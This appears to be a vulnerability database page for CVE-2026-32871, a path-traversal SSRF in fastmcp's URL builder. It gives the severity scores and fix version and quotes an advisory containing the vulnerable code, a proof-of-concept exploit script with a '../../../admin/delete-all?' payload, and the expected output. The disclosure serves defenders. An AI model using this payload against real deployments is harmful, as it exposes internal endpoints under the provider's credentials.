VulnerabilityPublished 2 Apr 2026Updated 15 Jul 2026

CVE-2026-32871: PrefectHQ fastmcp · Server-Side Request Forgery (SSRF)

Affects PrefectHQ fastmcpSource CVE Database V5

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Not known to be exploited · CVSS 10.0 Critical : upgrade to 3.2.0 as a priority.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 4.0 base score

10.0Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.9% chance of exploitation in 30 days – higher than 59% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.2.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: High
Subsequent system integrity: High
Subsequent system availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: High: There is a total loss of confidentiality, resulting in all resources within the Subsequent System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Subsequent system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
Subsequent system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Subsequent System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Subsequent System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 2 Apr 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade fastmcp and prefecthq/fastmcp to 3.2.0.

Affected software

Product	Affected	Fixed in
PrefectHQfastmcp	Affected <3.2.0	Fixed in 3.2.0
GitHubprefecthq/fastmcp`pkg:github/prefecthq/fastmcp`Other threats	Affected <3.2.0	Fixed in 3.2.0

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AI-suggested

A patch fixing this vulnerability is available in fastmcp version 3.2.0. Users should upgrade to version 3.2.0 or later to remediate the issue. No alternative mitigations or workarounds are indicated in the vendor advisory. Patch status is confirmed by the vendor advisory.

Description

## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification - **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented - **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited - **Lateral Movement**: Internal-only services may be compromised from the network boundary ### Attack Scenarios 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints 2. **Data Theft**: Access internal databases or sensitive information endpoints 3. **Service Disruption**: Trigger destructive operations on backend services 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials --- ## Remediation ### Recommended Fix URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as

CWE-918Server-Side Request Forgery (opens in a new tab)
Base weaknessCWE Top 25 (2025): #22OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Implementation · Operation
If there is a known list of applications, IP, hostname, and/or domains to which the product is allowed to communicate, then use allowlists to ensure that outgoing requests are restricted to these known entities. The allowlists could be in the application code or possibly enforced by firewalls or network segmentation.
Implementation · Operation
If the product is expected to be able to connect to arbitrary IP addresses or domains, consider using a denylist that includes private network addresses, internal domain names, etc. The denylist could be in the application code or possibly enforced by firewalls or network segmentation.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
Cross Site Scripting Prevention (opens in a new tab)
DOM based XSS Prevention (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.6.1 (opens in a new tab)
V5.2.6 (opens in a new tab)
Attack patterns
Server Side Request Forgery (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 16 Jul 2026, 08:54 UTC

WeaknessesCWE-918

Technical details

References

Community reviews

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